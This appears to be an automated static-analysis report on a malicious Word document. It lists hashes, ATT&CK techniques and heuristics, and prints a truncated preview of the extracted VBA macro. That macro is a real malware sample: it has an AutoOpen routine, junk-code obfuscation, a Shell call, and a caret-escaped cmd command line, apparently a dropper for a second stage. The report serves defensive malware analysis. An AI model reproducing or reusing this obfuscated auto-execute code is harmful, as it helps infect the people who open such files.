Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9cec3700f714dfe9…

MALICIOUS

Office (OLE)

81.6 KB Created: 2018-09-21 07:50:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: ab714d0b1876356e82f99b8253f3e2d3 SHA-1: 2ccee559821e24837a3467b9952feb95b2be1ee3 SHA-256: 9cec3700f714dfe92451a861482538783f7a3ed9fdddf503a01f26f999648866
82 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, a common technique for executing malicious code when a document is opened. The macro code is heavily obfuscated, making it difficult to determine the exact payload, but the presence of AutoOpen and the heuristic firings strongly suggest it's designed to download and execute a secondary stage. The document body is gibberish, providing no contextual clues.

Heuristics 4

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7584 bytes
SHA-256: 15b0d265b3b649fa21c1dd2d708b1e8e70fc26339791a7994784626d3f675080
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "IYmBjDjzCYKM"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim YOXziw()
ReDim YOXziw(5)
YOXziw(0) = "ihvHrcP"
YOXziw(1) = Right(oRUYuz, 136)
YOXziw(2) = "io"
YOXziw(3) = MidB(EfAoiq, 526, 514)
YOXziw(4) = Right(USZUool, 364)

   Dim TakjC()
ReDim TakjC(3)
TakjC(0) = MidB(noEwRIsK, 259, 831)
TakjC(1) = Mid(hsRQQCjD, 424, 858)
TakjC(2) = Left(jGNoH, 323)

   Dim mDaYG()
ReDim mDaYG(2)
mDaYG(0) = Mid(pYDkNTA, 906, 416)
mDaYG(1) = Mid(DAErN, 162, 243)

   Dim Xvkzb()
ReDim Xvkzb(4)
Xvkzb(0) = Left(taPrwd, 870)
Xvkzb(1) = MidB(LKOZTTX, 304, 403)
Xvkzb(2) = "qDzYr"
Xvkzb(3) = MidB(KzaoZzTa, 121, 660)

   Dim wztqC()
ReDim wztqC(3)
wztqC(0) = Left(bRLZOH, 943)
wztqC(1) = Right(DZhwCXEd, 632)
wztqC(2) = Mid(nEwkd, 28, 542)

VzjhJzBTBo (KeyString(4 + 2 + 3 + 12 + 46) + hDCrGY + mkZtSmaPbIVvH + JXRVjbjzDE)
   Dim qoTlK()
ReDim qoTlK(4)
qoTlK(0) = Mid(bijQJf, 729, 317)
qoTlK(1) = "ioFtSZz"
qoTlK(2) = MidB(iRnOMF, 698, 422)
qoTlK(3) = "FajbIWKVjrns"

   Dim jSDwLw()
ReDim jSDwLw(2)
jSDwLw(0) = Mid(umrXk, 389, 441)
jSDwLw(1) = MidB(OdwuT, 487, 217)

   Dim sUaFw()
ReDim sUaFw(4)
sUaFw(0) = Left(zLVdz, 484)
sUaFw(1) = Left(kKasWlFB, 745)
sUaFw(2) = Mid(DwKmcrwB, 712, 361)
sUaFw(3) = Left(bAwTT, 610)

   Dim aRuYmi()
ReDim aRuYmi(5)
aRuYmi(0) = Mid(XTfEv, 179, 141)
aRuYmi(1) = MidB(XiLosD, 454, 52)
aRuYmi(2) = Right(KROrwuMX, 729)
aRuYmi(3) = "Yt"
aRuYmi(4) = Left(mIEfA, 332)

   Dim PFVWX()
ReDim PFVWX(3)
PFVWX(0) = MidB(OWouCPGN, 406, 379)
PFVWX(1) = Left(ZYSjJD, 673)
PFVWX(2) = Mid(TrDkMDG, 261, 413)

End Sub
Function VzjhJzBTBo(rYVuOdJt As String)
   Dim CWSQz()
ReDim CWSQz(5)
CWSQz(0) = Mid(cOrjp, 183, 112)
CWSQz(1) = Mid(XHnOVUZ, 545, 237)
CWSQz(2) = Right(dJKcY, 52)
CWSQz(3) = Mid(tJZoj, 609, 902)
CWSQz(4) = "aOhKBdAVWbM"

   Dim rYnZK()
ReDim rYnZK(4)
rYnZK(0) = Right(mqrzp, 776)
rYnZK(1) = "wAjpqbsav"
rYnZK(2) = MidB(rRLcd, 770, 764)
rYnZK(3) = Left(LWoBl, 733)

Shell@ rYVuOdJt, CInt(msoBarTypeNormal)
   Dim CjsowD()
ReDim CjsowD(3)
CjsowD(0) = MidB(wWliiY, 700, 836)
CjsowD(1) = Mid(IrDwA, 950, 608)
CjsowD(2) = Right(WpuuMzS, 851)

   Dim MVpwpr()
ReDim MVpwpr(4)
MVpwpr(0) = Right(UGRfAELU, 103)
MVpwpr(1) = Mid(ozzjFDI, 339, 127)
MVpwpr(2) = MidB(XjYTp, 36, 785)
MVpwpr(3) = Right(WQJCLJ, 608)

   Dim EWlia()
ReDim EWlia(3)
EWlia(0) = Left(SdshC, 137)
EWlia(1) = Mid(hhiiQk, 651, 970)
EWlia(2) = "wPnwoVmnpBOp"

   Dim IziPs()
ReDim IziPs(3)
IziPs(0) = "XhAphk"
IziPs(1) = Left(nqwSvHz, 670)
IziPs(2) = Right(BDwdR, 801)

   Dim uaTHk()
ReDim uaTHk(4)
uaTHk(0) = MidB(Mpzvnvd, 977, 120)
uaTHk(1) = Mid(aizFSq, 138, 454)
uaTHk(2) = MidB(wviROEh, 753, 720)
uaTHk(3) = "HQdDNjcwMLnjD"

End Function

Attribute VB_Name = "UazdGpwUlREjcT"
Function hDCrGY()
Dim vrZANi()
ReDim vrZANi(3)
vrZANi(0) = Left(svpsnZFP, 196)
vrZANi(1) = Mid(oRnnWtfm, 475, 845)
vrZANi(2) = MidB(zBbjOZQ, 596, 908)

   Dim GpMcMv()
ReDim GpMcMv(3)
GpMcMv(0) = Left(QwUjh, 859)
GpMcMv(1) = Right(foIquwhJ, 996)
GpMcMv(2) = "riOF"

   Dim jPNQiB()
ReDim jPNQiB(3)
jPNQiB(0) = MidB(zOhwN, 816, 385)
jPNQiB(1) = Right(zzwlaMUK, 567)
jPNQiB(2) = "Hj"

   Dim XUhUH()
ReDim XUhUH(5)
XUhUH(0) = Mid(mkdYijAb, 40, 863)
XUhUH(1) = Left(bfpzRm, 587)
XUhUH(2) = "zpwlhhFjmzOzYl"
XUhUH(3) = "CXMWUAIXLwL"
XUhUH(4) = Right(auOFiCWK, 68)

   Dim XQaovR()
ReDim XQaovR(3)
XQaovR(0) = Left(PlLuD, 591)
XQaovR(1) = Right(dPzlssH, 258)
XQaovR(2) = Left(VjOniIw, 975)

ClcHfp = "md /V:ON/C" + ChrW(5 + 0 + 5 + 4 + 20) + "^s^e^t ^p^" + "G=  ^ ^ " + "^ ^ ^   ^ ^ " + " ^ ^" + " ^ ^ ^" + " }}{^hc^" + "tac};^k^a^"
Dim DNLoRA()
ReDim DNLoRA(3)
DNLoRA(0) = Left(jMZwuf, 588)
DNLoRA(1) = Left(CdjdnYf, 108)
DNLoRA(2) = Mid(ALTSG, 491, 230)

   Dim rMEdFz()
ReDim rMEdFz(4)
rMEdFz(0) = MidB(PrhBmF, 129, 291)
rMEd
... (truncated)

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